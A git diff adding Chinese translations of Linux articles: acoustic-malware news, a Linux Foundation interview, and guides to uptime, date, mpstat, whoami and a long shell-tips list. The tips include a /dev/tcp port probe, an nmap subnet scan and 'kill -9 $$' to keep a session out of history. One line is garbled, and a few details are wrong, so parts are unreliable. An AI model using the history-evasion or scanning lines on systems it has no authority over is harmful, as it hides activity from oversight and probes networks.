Goetz已经开发出了一种技术能够使得恶意软件只需通过麦克风和扬声器就能够将自己传播感染到其他计算机。 + +“只需要通过计算机系统中某些意想不到的方式建立通信连接,一些隐秘的渠道就能够绕过系统与网络的安全策略。我们在不同的计算机操作系统间构建了一种隐秘渠道,利用音频编码/解码,以空气为媒介,在计算机系统间进行数据交换。”两位科学家在《通讯日报(Journal of Communication)》上发表了他们的[论文][1]。 + +该方法验证了一种非常强大的感染计算机的方法,尤其是因为被感染的计算机甚至都不需要接入网络。该方法所需要的条件仅仅是“近距离”。 + +另一个问题是,事实上如今的操作系统还没有任何现成的防范手段能抵御这种攻击。好消息是,Linux用户可以通过一些小的修改就能获得所需的防护。 + +开发者介绍说Linux系统本身是可以任意编程调整的,相对来说,更容易改编适应这种新形式的攻击。 + +“如果音频输入输出设备无法关闭,音频过滤设置也许是一个替代办法,可以抵御恶意软件触发加入隐秘网络。” + +科学家在论文中说道:“基于Linux的操作系统,音频过滤软件可以通过ALSA(Advanced Linux Sound Architecture 高级Linux音频架构)与LADSPA(Linux Audio Developer’s Simple Plugin API Linux音频开发者简易插件API)协同实现上述过滤功能。” + +“声传恶意软件”是一种非常新的新鲜事物,无怪乎还没有针对它的防御办法,但是从另一个角度,这也反映出了为什么说Linux是更安全的操作系统。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Linux-Is-the-Only-Way-to-Protect-Against-Possible-Malware-Through-Sound-Attacks-405566.shtml + +译者:[Mr小眼儿](https://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.jocm.us/index.php?m=content&c=index&a=show&catid=124&id=600 \ No newline at end of file diff --git "a/published/201312/Linux Uptime Command \342\200\223 Find How Long Your System Been Running.md" "b/published/201312/Linux Uptime Command \342\200\223 Find How Long Your System Been Running.md" new file mode 100644 index 0000000000..ff67f5e0d9 --- /dev/null +++ "b/published/201312/Linux Uptime Command \342\200\223 Find How Long Your System Been Running.md" @@ -0,0 +1,51 @@ +Linux Uptime 命令,让你知道你的系统运行了多久 +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/linux-uptime-command.png) + +对于一些人来说系统运行了多久是无关紧要的,但是对于服务器管理员来说,这是相当重要的信息。服务器在运行重要应用的时候,必须尽量保证长时间的稳定运行,有时候甚至要求零宕机。那么我们怎么才能知道服务器运行了多久呢? + +在Linux 下,我们可以使用uptime 命令,而且此命令不必使用root 权限。uptime 命令在系统中已经默认安装了。 + +语法如下: + + $ uptime + +你会在屏幕上看到如下显示: + +![](http://linoxide.com/wp-content/uploads/2013/11/uptime.png) + +这些信息保存在/proc/uptime 文件中,虽然是以文本方式保存,但是这些数据却不能直接显示,这就需要我们使用uptime 命令来翻译它。 + +以下是如何解读uptime 提供的信息: + +### 系统时间 ### + +在图1中,左起第一条信息是14:04:39,这就是当前系统时间,以24小时格式输出。 + +### 系统运行时间 ### + +第二条信息**Up 1004 days, 12:20**,这是显示你的系统运行时间。图1 显示你的系统已经运行了1004天12小时20分钟,如果你的系统没有运行超过24小时,这里将只会显示小时分钟或者只显示分钟。注意图2、图3的信息,当系统重启后将会清零。 + +![](http://linoxide.com/wp-content/uploads/2013/11/uptime_minutes.png) + +![](http://linoxide.com/wp-content/uploads/2013/11/uptime_hours1.png) + +### 已登录用户的数量 ### + +第三部分的信息是显示已登陆用户的数量。在图1中,显示的是**1 user** ,即当前登录用户数量。当多个用户在同时登陆系统时,uptime 命令将告诉你用户的数量。 + +### 平均负载量 ### + +最后一个信息是系统的平均负载量。回到图1,你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比,即0.25和0.19分别代表着25%和19%。0.25, 0.25, 0.19分别代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。 + +这就是**uptime** 命令的日常使用指导,如果想获取更详细的信息,请通过输入**man uptime** 进入uptime 命令的manual 页面来查看。 + +你的机器已经运行多久了?贴出你的uptime给大家看看吧。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-uptime-command/ + +译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201312/Linux chief--\342\200\230Open source is safer, and Linux is more secure than any other OS\342\200\231.md" "b/published/201312/Linux chief--\342\200\230Open source is safer, and Linux is more secure than any other OS\342\200\231.md" new file mode 100644 index 0000000000..bbea320930 --- /dev/null +++ "b/published/201312/Linux chief--\342\200\230Open source is safer, and Linux is more secure than any other OS\342\200\231.md" @@ -0,0 +1,86 @@ +Linux领袖说:‘开源很安全,Linux比其它任何系统都安全’ +================================================================================ +在对Linux基金会执行官,Jim Zemlin 的采访中,VentureBeat 展望了2014年开源操作系统的未来。 + +访谈中我们也探讨了争议性的话题,就是政府部门的监听事件以及‘后门’-那些邪恶的窗口,窥探我们网上的私生活,最近公众发现我们经常使用的大多数服务都有类似的遭遇。 + +Zemlin 为我们解释了 GNU/Linux 为什么以及如何使它成为内心有些担忧的消费者的最安全的选择。还有就是为什么选择GNU/Linux作为能源汽车、手机、TV以及其它新兴设备的操作系统。 + +以下是我们完整的e-mail访谈实录 + +---------- + +**VentureBeat: 安全和隐私一直是本年度最热门的话题,我们听到的谣言,Linus[Torvalds, Linux 创始人]对政府部门是否有植入后门的要求点头称是。** + +**Zemlin**: 如果Linux真有后门,你应该知道的。 + +全世界的用户都可以看到Linux的每一行代码。这也是linux要比其他操作系统更安全、开源整体要比闭源更安全的原因之一。代码的透明度保证了它的安全性。 + +必须明确指出:Linux没有后门。 + +**VentureBeat: Linux基金会如何保证Linux用户的隐私和自由,使其免于遭受追踪和监视?** + +**Zemlin**: 对此,我们一以贯之。向内核插入违反隐私权和背离自由精神的代码而不被成千上万的开发者注意到,这是很难的。Linux的本性就是自我定制。 + +**VentureBeat: 今年的隐私/安全/监视事件会不会促使, 或者将会促使更多的消费者倾向于Linux,对此你作何感想?** + +**Zemlin**: 世界范围内,我听到人们都在说,“用开源保证隐私是必须的。”的确,那会促使更多的使用者选择Linux。 + +除了他们对linux平台下的隐私和安全持自信、信任的态度以外, 我认为消费者会基于多种原因选择Linux。 +代码的透明性以及开发过程逐渐给予日渐博学和警觉的消费者一个选择,一个会让他们对linux感觉良好的选择。 + +[视频游戏发行商] Valve [及其SteamOS下的工作][1] 正在促使更多的消费者走进Linux,就像逐渐占据主导地位的Android和其他运行Linux的电子设备一样,比如电视、家电、汽车等,当然还有更多。 + +**VentureBeat: 针对手机的Ubuntu Edge, 对它有何看法? 对于2014-2015年Linux/Ubuntu手机市场走势,你作何预测?** + +**Zemlin**:我希望看到潜在的有趣的新产品进入市场,尤其是基于Linux的产品。很难说每年哪款产品会成为手机市场的新宠。 + +我认为预测基于Linux的手机将占据主导地位,不算夸大事实。Android, Tizen, Ubuntu, Firefox,等等等等,都显示出Linux可以驱动手机市场的创新,并且为消费者创造新的体验,为开发者和OEMs创造机会。 + +明年令人振奋的发展,也是我所关注的就是linux和开源界如何把这些设备、对象和服务关联到一起。 + +**VentureBeat: 目前为止,你看到的linux嵌入式车载系统的最令人激动的使用案例是什么?** + +**Zemlin**: 毫无疑问,就是,Cadillac, Tesla, Toyota, Jaguar, Land Rover等都搭建了车载信息娱乐系统。 + +比如,今年赢得了 “年度汽车族”奖项的Tesla Model S,装备了一个17英寸平面、运行着定制Linux的电脑。这真的是太酷了。 + +2014年度汽车族刚刚揭晓 -- Cadillac CTS sedan, 也是使用linux作为车载信息娱乐系统。汽车制造商有能力使用linux进行创新并区别使用这些系统。 + +Linux的成功也能从来自IHS汽车的最新数据上看到,IHS本月报告称,在全球车载信息娱乐市场,基于linux的汽车销量2020年有望达到5370万,超过微软和黑莓QNX。 + +Linux基金会协同汽车级Linux工作组在该领域做了许多工作。通过在Linux内核社区,其他开源社区,以及汽车行业,营造一个中立、支持性的环境,我们能够帮助一些世界级巨头汽车制造商提高汽车Linux技术,如日产,捷豹,路虎,丰田,等等。 + +**VentureBeat: 在硬核开发者市场以外,Linux是如何发展壮大的,尤其是考虑到消费者和游戏玩家?** + +**Zemlin**:可以肯定的是,对游戏玩家来说,今年确实是linux的一个转折点。Valve, 一个基于Steam网络平台的一个游戏厂商,在linux上构建并运行所有的源代码和动画。Valve的CEO Gabe Newell 称,今年的LinuxCon大会上他们在linux平台运行了198个游戏,随着引进基于linux的Steam,这个数字还会上升。这是Linux和游戏界新趋势的开端。 + +用户每天都在用linux。软件支撑着我们的日常生活。像Google,Facebook还有Twitter等公司,都建立在Linux和开源软件之上。去年10月份LinuxCon欧洲大会上,来自Twitter的Chris Aniszczyk告诉听众: +“Twitter 理所当然完全运行在linux上。为什么你们还需要其他的东西?”(译注:言外之意就是有linux就够了,不需要别的什么东西了。) + +如今Linux驱动着130万台日常所用Android手机,每天近60万基于linux的新电视售出。新的家电以及汽车都建立在linux之上。主要交通系统也都在使用linux。最受欢迎的[GoPro 使用linux和开源软件][2]。这样的例子层出不穷。 + +Linux和开源理念将会逐渐融入主流消费者的生活。三星使用linux内核以及基于linux的产品充实它的产品线,从电视机到手机,再到家电,等等等等。 + +敬请关注 - 未来你将看到更多实例,展现了Linux和开源软件,以及协同开发在日常生活中发挥越来越大的作用。 + +**VentureBeat: 在你看来,到2014年,免费和开源软件最大的机遇会是什么?** + +**Zemlin**: 我们已经谈到游戏和电子设备,但是企业将会继续为linux呈现更多的机会。云计算的兴起为开发者带来新的机遇和挑战。你可以试着去找找不运行在linux上的公共云。 + +软件定义的网络(SDN)实现将成为2014年的主要活动之一。人们并没有期望着软件定义网络以及网络功能虚拟化变得多么大。想想吧。数十亿美元花费在硬件上,交换机,路由,负载均衡器,防火墙等等。这些都抽象成了软件。更更重要的是,它是在开源软件的基础架构甜蜜点OSS层被抽象。我认为你会看到,像OpenDaylight项目以及其他项目,在2014年都会有大的突破。 + +当然,这只是实现协同发展的大趋势的一部分,你的读者应该会对此感兴趣。我的推测是再过一个20年,几乎所有的基础软件都会以协同开发的方式进行构建。2014年开发者需要学习如何以协同方式构建软件,要学会如何参与开源项目并且贡献代码。如果开发者能够理解协同开发和开源的原则和理念,那么他们职业生涯中的机遇将会是无穷的。 + +参与到linux的世界中来是一个激动人心的时刻。从智能手表到电视机,到汽车,只要你能想到,Linux就能为你实现。 + +-------------------------------------------------------------------------------- + +via: http://venturebeat.com/2013/11/26/linux-chief-open-source-is-safer-and-linux-is-more-secure-than-any-other-os-exclusive/ + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://venturebeat.com/2013/09/23/steamos-valves-linux-based-operating-system-for-the-tv-and-living-room/ +[2]:http://gopro.com/support/open-source diff --git "a/published/201312/Linux date command \342\200\223 Display and Set System Date and Time.md" "b/published/201312/Linux date command \342\200\223 Display and Set System Date and Time.md" new file mode 100644 index 0000000000..ba168d6f82 --- /dev/null +++ "b/published/201312/Linux date command \342\200\223 Display and Set System Date and Time.md" @@ -0,0 +1,144 @@ +Linux date命令 - 显示和设置系统日期与时间 +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/12/date-linux-command.jpg) + +操作系统上的时间也许只是当做一个时钟。特别在控制台下, 我们通常并不认为时间有什么重要的。但是对于管理员,这种认识是错误的。你知道错误的日期和时间会导致你不能编译程序么? + +因为日期和时间很重要,这或许就是开发网络时间协议(NTP:Network Time Protocol)的原因。让我们了解下date命令是如何工作的。 + +### 显示系统日期 ### + +要显示系统日期,只要输入: + + $ date + Thu Dec 5 22:55:41 WIB 2013 + +### 格式化显示日期 ### + +日期有很多格式。如果你不喜欢默认的格式,你可以换一种格式。你可能会想"为什么我需要改变格式? 默认的输出对我足够了。" + +是的,你说的对,但是当你在编程时,默认输出或许无法满足你的需求,因此需要一些自定义输出。 + +### RFC 2822 的日期与时间输出格式 ### + + $ date -R + Thu, 05 Dec 2013 23:40:53 +0700 + +**RFC 2822** 的格式像这样 : **星期, 日-月-年, 小时:分钟:秒 时区** + +时区 +0700 等同于 GMT +7。 + +默认上**date**使用的是定义在**/etc/localtime**的时区。有效时区数据定义在**/usr/share/timezones**。 + +### 显示或者设置协调世界时 ### + +在 [Wikipedia][1]上, UTC 意思是 + +> 世界上主要的时钟和时间的标准。这是格林位置标准时间几个非常相近的替代者之一。 + +以UTC形式显示日期和时间, 使用 -u 参数 + + $ date -u + Thu Dec 5 16:45:58:UTC 2013 + +### 使用格式化选项 ### + +要自定义你的日期格式, **使用加号 (+)** + + $ date +”Day : %d Month : %m Year : %Y” + Day: 05 Month: 12 Year: 2013 +- + $ date +%D + 12/05/13 + +**%D** 格式是 **年/月/日 的格式**. + +如果你想的话,你可以输出日期的名字。下面是一些例子: + + $ date +”%a %b %d %y” + Fri 06 Dec 2013 + + $ date +”%A %B %d %Y” + Friday December 06 2013 + + $ date +”%A %B %d %Y %T” + Friday December 06 2013 00:30:37 + + $ date +”%A %B-%d-%Y %c” + Friday December-06-2013 12:30:37 AM WIB + +还有很多的日期格式。只要输入: + + $ date –help + +或者 + + $ man date + +来显示date命令的语法和参数。 + +基本上,date命令会翻译所有所有的百分号(%)开头的格式和输出在引号("")内所有的内容。 + +### 设置系统日期和时间 ### + +通常地,你希望你的系统日期和时间是自动设置的。如果由于一些原因,你想要手动修改它,我们可以使用这个命令。 + + # date –set=”20140125 09:17:00” + +这会**设置**你当前的系统日期和时间到**一月 25, 2014 and 09:17:00 AM。请注意**,你**必须**拥有root特权来这么做。不然你会得到这样一个错误。 + + date: cannot set date: Operation not permitted + Sat Jan 25 09:17:00 WIB 2014 + +### 重置你的时间 ### + +如果你希望重置你的系统日期和时间到原始值,你可以用这个技巧。 + + # hwclock + Fri 06 Dec 2013 03:44:10 AM WIB -0.314082 seconds + +这回设置你的系统日期和时间到hwclock命令的输出的样子。 + +### 在脚本中使用date命令 ### + +还记得我之前说为什么你需要改变date的输出么?一个答案是你或许需要编程。让我们看下bash脚本下的一个例子。 + + $ vi display.date + + #! /bin/bash + DATETIME=$(date +”DATE: %a %b-%d-%Y TIME: %T WEEK NUMBER: %W”) + echo $DATETIME + +保存并运行它: + + $ ./display.date + DATE : Fri Dec-06-2013 TIME: 03:08:19 WEEK Number :40 + +如果你发现权限拒绝错误信息,输入: + + $ chmod 755 display.date + +### 在备份流程中使用date ### + +另外一个例子是子你备份流程中使用date。 + + $ date +%F + 2013-12-06 + + $ tar zcfv /daily_backup/backup-`date +%F`.tar.gz /home/pungki/Documents + +它会压缩文件夹**/home/pungki/Documents**到一个位于**/daily_backup folder**的文件**backup-2013-12-06.tar.gz**中。(译注:通过“\` 命令 \`”来在命令行内嵌其它命令,这个字符不是单引号,而是和波浪号~同一个键位的那个符号。) + +### 总结 ### + +date可能被认为在某些方面不重要。但是date扮演了一个重要的角色。要想知道关于date命令更多的细节,在你的控制台下输入man date访问man页面。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/date-command-linux/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://en.wikipedia.org/wiki/Coordinated_Universal_Time diff --git "a/published/201312/Linux mpstat Command \342\200\223 Reports Processors Related Statistics.md" "b/published/201312/Linux mpstat Command \342\200\223 Reports Processors Related Statistics.md" new file mode 100644 index 0000000000..e2f1beba26 --- /dev/null +++ "b/published/201312/Linux mpstat Command \342\200\223 Reports Processors Related Statistics.md" @@ -0,0 +1,112 @@ +Linux mpstat 命令- 报告处理器的相关统计信息 +================================================================================ +现在的计算机一般都使用着多处理器或四核单处理器。在服务器端,更多的处理器或核心意味着更强的能力,但另一方面,应用程序也需要更高的能耗。你还可能遇到过这样的场景:当你的cpu利用率很高时你却感觉自己根本没有运行任何程序。以上种种情况,在Linux系统上,你可以使用 **mpstate** 来监控这样的活动。 +![linux mpstat command](http://linoxide.com/wp-content/uploads/2013/12/linux-mpstat-command.jpg) + +### 什么是mpstat ### + +**mpstat** 用于监控你的系统上cpu的利用率。如果你的系统有多个处理器,它会发挥更大的作用。 +第一个处理器会被标记为CPU 0。第二个会被标记为CPU 2,以此类推。在操作手册中,如下描述mpstat: + +> mpstat命令把每个可用的处理器的状态写到标准输出,默认第一个处理器为processor 0。所有处理器的全局平均状态也会以报告形式给出。mpstat命令可以用于SMP和UP的机器上,但是在UP机器上,只有全局平均状态会被打印出来。如果没有选择具体行为,默认将报告CPU的利用率 + +### 如何运行mpstat ### + +只需在你的终端输入 **mpstat** 就可以运行mpstat. + + $ mpstat + + Linux 3.2.0-57-generic (USERNB01) 12/12/2013 _x86_64_ (2 CPU) + + 03:29:29 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle + 03:29:29 PM all 6.30 0.06 1.94 3.75 0.00 0.06 0.00 0.00 87.88 + +如果你发现譬如 **命令找不到**或者类似的错误,说明你可能没有安装mpstat。 + +如果你使用的是 **CentOS, RedHat or Fedora**,运行下列命令来安装mpstat + + # yum install sysstat + +如果你使用的是 **Debian, Ubuntu or 它的衍生版**, 运行下列命令来安装mpstat + + # apt-get install sysstat + +下面是如何理解上面显示出来的信息。 + +- **03:29:29 PM** : 指mpstat运行的时间 +- **all** : 指所有CPU +- **%usr** : 显示在用户级别(例如应用程序)执行时CPU利用率的百分比 +- **%nice** :显示在拥有nice优先级的用户级别执行时CPU利用率的百分比 +- **%sys** : 现实在系统级别(例如内核)执行时CPU利用率的百分比 +- **%iowait** : 显示在系统有未完成的磁盘I/O请求期间CPU空闲时间的百分比 +- **%irq** : 显示CPU服务硬件中断所花费时间的百分比 +- **%soft** : 显示CPU服务软件中断所花费时间的百分比 +- **%steal** : 显示虚拟机管理器在服务另一个虚拟处理器时虚拟CPU处在非自愿等待下花费时间的百分比 +- **%guest** : 显示运行虚拟处理器时CPU花费时间的百分比 +- **%idle** : 显示CPU空闲和系统没有未完成的磁盘I/O请求情况下的时间百分比 + +### 打印每个处理器的CPU利用率 ### + +正如上面的命令结果所示,我们的系统有两个CPU。如果你愿意,你可以使用参数 -P 然后紧跟CPU编号得到指定CPU的利用率。 + + $ mpstat -P 0 + + Linux 3.2.0-57-generic (USERNB01) 12/12/2013 _x86_64_ (2 CPU) + + 03:54:00 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle + 03:54:00 PM 0 3.82 0.01 1.16 3.88 0.00 0.06 0.00 0.00 91.06 + + $ mpstat -P 1 + Linux 3.2.0-57-generic (USERNB01) 12/12/2013 _x86_64_ (2 CPU) + + 03:53:58 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle + 03:53:58 PM 1 16.52 0.20 4.48 0.46 0.00 0.04 0.00 0.00 78.30 + +### 打印所有CPU的利用率 ### + +你也可以在一页里打印每个处理器的CPU利用率,只需使用 **-P ALL** 参数来指定。 + + $ mpstat -P ALL + + Linux 3.2.0-57-generic (USERNB01) 12/12/2013 _x86_64_ (2 CPU) + + 04:07:36 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle + 04:07:36 PM all 6.02 0.04 1.72 2.99 0.00 0.05 0.00 0.00 89.17 + 04:07:36 PM 0 3.84 0.01 1.15 3.72 0.00 0.06 0.00 0.00 91.21 + 04:07:36 PM 1 13.55 0.15 3.66 0.46 0.00 0.03 0.00 0.00 82.15 + +### 使用时间间隔打印CPU利用率 ### + +如果你想观察CPU的利用率变化,你可以使用时间间隔,下面是一个例子。 + + $ mpstat 3 4 + + Linux 3.2.0-57-generic (USERNB01) 12/12/2013 _x86_64_ (2 CPU) + + 04:27:11 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle + 04:27:14 PM all 0.67 0.00 0.34 0.00 0.00 0.00 0.00 0.00 98.99 + 04:27:17 PM all 1.17 0.00 0.33 1.33 0.00 0.00 0.00 0.00 97.17 + 04:27:20 PM all 0.84 0.00 0.17 0.00 0.00 0.00 0.00 0.00 98.99 + 04:27:23 PM all 1.00 0.00 0.17 1.51 0.00 0.00 0.00 0.00 97.32 + Average: all 0.92 0.00 0.25 0.71 0.00 0.00 0.00 0.00 98.12 + +上面的命令会**每隔3秒**显示CPU利用的**4个报告**。 + +### 打印mpstat的版本 ### + +最后,为了打印mpstat的版本,使用参数 -V + + $ mpstat -V + + sysstat version 10.0.3 + (C) Sebastien Godard (sysstat orange. + +这就是在linux系统上快速使用mpstat的方法。想要了解更多细节,可以输入 **man mpstat**来查看mpstat的手册。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-mpstat-command/ + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[Mr小眼儿](https://github.com/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201312/Linux shell tips and tricks.md b/published/201312/Linux shell tips and tricks.md new file mode 100644 index 0000000000..e46c0b5892 --- /dev/null +++ b/published/201312/Linux shell tips and tricks.md @@ -0,0 +1,312 @@ +Linux shell中的那些小把戏 +================================================================================ +我日常使用Linux shell(Bash),但是我经常忘记一些有用的命令或者shell技巧。是的,我能记住一些命令,但是肯定不会只在特定的任务上使用一次,所以我就开始在我的Dropbox账号里用文本文件写下这些Linux shell的小技巧,现在我决定共享它给你。这个表我以后还会更新。记住,这里的一些贴士需要在你的Linux发行版上安装额外的软件。 + +在bash中检查远程端口是否打开: + + echo >/dev/tcp/8.8.8.8/53 && echo "open" + +将进程挂起: + + Ctrl + z + +将进程移到前台: + + fg + +(译注,挂起的进程是不执行的,如果希望在后台执行,可以使用bg命令,并且指定通过jobs命令获得的任务号。) + +生成随机16进制数字,n是字符的数量: + + openssl rand -hex n + +在当前shell中执行一个文件中的命令(译注:这个文件不是一个bash脚本,比如.bashrc、bash_profile等): + + source /home/user/file.name + +提取字符串的前5个字符: + + ${variable:0:5} + +打开SSH调试模式(译注:当你遇到SSH连接问题时很有用): + + ssh -vvv user@ip_address + +使用pem key的进行SSH连接: + + ssh user@ip_address -i key.pem + +用wget获取完整目录列表到本地目录: + + wget -r --no-parent --reject "index.html*" http://hostname/ -P /home/user/dirs + +同时创建多个目录: + + mkdir -p /home/user/{test,test1,test2} + +以树状列出进程及子进程: + + ps axwef + +创建war文件: + + jar -cvf name.war file + +测试磁盘写速度: + + dd if=/dev/zero of=/tmp/output.img bs=8k count=256k conv=fdatasync; rm -rf /tmp/output.img + +测试磁盘读速度: + + hdparm -Tt /dev/sda + +获取文本的md5值: + + echo -n "text" | md5sum + +检测xml语法: + + xmllint --noout file.xml + +将tar.gz文件解压到指定目录: + + tar zxvf package.tar.gz -C new_dir + +用curl获取HTTP头: + + curl -I http://www.example.com + +修改一些文件或目录的时间戳 (格式为:YYMMDDhhmm): + + touch -t 0712250000 file + +使用wget从ftp下载: + + wget -m ftp://username:password@hostname + +生成随机密码 (本例中16位字符长): + + LANG=c < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo; + +快速创建一个文件的备份(扩展名是.bkp): + + cp some_file_name{,.bkp} + +访问Windows共享: + + smbclient -U "DOMAIN\user" //dc.domain.com/share/test/dir + +运行history中的命令 (这里在history中的第100个): + + !100 + +unzip到目录中: + + unzip package_name.zip -d dir_name + +输入多行文字 (按 CTRL + d 退出): + + cat > test.txt + +创建空白的文件或者清空已存在的文件: + + > test.txt + +从Ubuntu NTP服务器上更新日期: + + ntpdate ntp.ubuntu.com + +netstat 显示所有IPv4的TCP监听的端口: + + netstat -lnt4 | awk '{print $4}' | cut -f2 -d: | grep -o '[0-9]*' + +将qcow2的镜像转化成raw格式: + + qemu-img convert -f qcow2 -O raw precise-server-cloudimg-amd64-disk1.img \ + precise-server-cloudimg-amd64-disk1.raw + +重复运行命令并显示它的输出 (默认2秒重复一次): + + watch ps -ef + +显示所有用户: + + getent passwd + +以读写模式挂载根文件系统: + + mount -o remount,rw / + +挂载目录 (适合于符号链接不能工作的情况下): + + mount --bind /source /destination + +发送DNS动态更新给DNS: + + nsupdate < 1048576) print $7/1048576 "MB "$9 }' | sort -n -u | tail + +以MB显示空余内存: + + free -m | grep cache | awk '/[0-9]/{ print $4" MB" }' + +打开vim并跳转到文件最后: + + vim + some_file_name + +git clone特定branch (本例是master分支): + + git clone git@github.com:name/app.git -b master + +git切换到另外一个branch (本例是develop分支): + + git checkout develop + +git删除一个branch(本例是myfeature): + + git branch -d myfeature + +Git删除一个远程branch: + + git push origin :branchName + +Git push 新的branch到远程: + + git push -u origin mynewfeature + +打印history中最后的cat命令 + + !cat:p + +运行history中的最后的cat命令: + + !cat + +找出在/home/user中的所有空子目录: + + find /home/user -maxdepth 1 -type d -empty + +得到test.txt中50到60行的文本: + + < test.txt sed -n '50,60p' + +以sudo权限重新运行上一个执行的命令 (如果是: mkdir /root/test, 下面会运行: sudo mkdir /root/test)(译注:当你执行一个命令忘记sudo时,可以这样重新执行,而不必再把完整命令敲一遍): + + sudo !! + +创建临时RAM文件系统 - ramdisk (请先创建 /tmpram 目录): + + mount -t tmpfs tmpfs /tmpram -o size=512m + +Grep完整的单词(译注:而不是其它单词的一部分): + + grep -w "name" test.txt + +提升权限后在一个文件后追加文本: + + echo "some text" | sudo tee -a /path/file + +列出所有支持的kill信号: + + kill -l + +生成随机密码 (本例中16个字符长): + + openssl rand -base64 16 + +在bash历史中不记录最后的会话: + + kill -9 $$ + +扫描网络来找出开放的端口: + + nmap -p 8081 172.20.0.0/16 + +设置git email: + + git config --global user.email "me@example.com" + +如果你有未提交的commit,与master同步: + + git pull --rebase origin master + +将文件名中含有txt的所有文件移动到/home/user: + + find -iname "*txt*" -exec mv -v {} /home/user \; + +按行将两个文件中的对应行合并显示: + + paste test.txt test1.txt + +shell中的进度条: + + pv data.log + +用netcat发送数据给服务器: + + echo "hosts.sampleHost 10 `date +%s`" | nc 192.168.200.2 3000 + +转换tab为空格: + + expand test.txt > test1.txt + +跳过bash历史: + + <<空格>>cmd + +回到之前的工作目录: + + cd - + +切割大的tar.gz文件为几个文件 (每个100MB),并还原: + + split –b 100m /path/to/large/archive /path/to/output/files + cat files* > archive + +用curl获取HTTP状态值: + + curl -sL -w "%{http_code}\\n" www.example.com -o /dev/null + +当 Ctrl + c 没用时: + + Ctrl + \ + +获取文件所有者: + + stat -c %U file.txt + +列出块设备: + + lsblk -f + +找出文件中带有末尾空格的文件: + + find . -type f -exec egrep -l " +$" "{}" \; + +找出用tab缩进的文件: + + find . -type f -exec egrep -l $'\t' "{}" \; + +用"="打印水平行 + + printf '%100s\n' | tr ' ' = + +**更新: 2013年11月25日** + +-------------------------------------------------------------------------------- + +via: http://www.techbar.me/linux-shell-tips/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git "a/published/201312/Linux whoami command \342\200\223 Knowing Who is Logged In.md" "b/published/201312/Linux whoami command \342\200\223 Knowing Who is Logged In.md" new file mode 100644 index 0000000000..865dd78bf9 --- /dev/null +++ "b/published/201312/Linux whoami command \342\200\223 Knowing Who is Logged In.md" @@ -0,0 +1,49 @@ +Linux系统 whoami 命令 – 知晓当前登录用户 +================================================================================ +通常,在控制台的命令提示符下你会发现 **用户名已经被显示出来** 。但有一些 shell 默认情况下不会显示你的用户名,比如 **csh** 。所以这个命令最应该用在那些不能回显用户名的 shell 终端上。 + +### 怎么样运行 whoami ### + +运行这个命令,你只需要输入 whoami 。下面的例子中我们使用的是 csh shell 终端。 + + % whoami + +![](http://linoxide.com/wp-content/uploads/2013/12/csh.png) + +### Whoami 的参数选项 ### + +这个命令仅仅有两个参数选项: **–help** 和 **–version**。 + + % whoamin –help + +![](http://linoxide.com/wp-content/uploads/2013/12/whoami_help.png) + +下面这选项会输出和 **man whoami** 命令一样的信息 + + % whoami –version + +![](http://linoxide.com/wp-content/uploads/2013/12/whoami_version.png) + +不同的是 **–version** 会显示你系统上 whoami 命令的版本信息 + +### 相似性 ### + +whoami 命令和 **id -un** 有相同的输出。它们都显示出当前用户的用户名。 + + % id -un + +![](http://linoxide.com/wp-content/uploads/2013/12/id-un.png) + +### 结论 ### + +whoami 命令也用于当你使用 su 命令(切换用户)时, 它能让你确认登录的用户名是否正确。whoami 和 who 命令不相同, who 命令会显示所有已经登录的用户名,而 whoami 不是。当你切换用户时,whoami 命令会显示会话所属的当前用户,而 who 命令会显示你切换前的那个源用户。 + +![](http://linoxide.com/wp-content/uploads/2013/12/whoami_vs_who.png) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-whoami-command/ + +译者:[runningwater](https://github.com/runningwater) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201312/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md b/published/201312/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md new file mode 100644 index 0000000000..47a4a6f31d --- /dev/null +++ b/published/201312/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md @@ -0,0 +1,154 @@ +Linux 下使用Trickle限制下载/上传带宽 +================================================================================ + 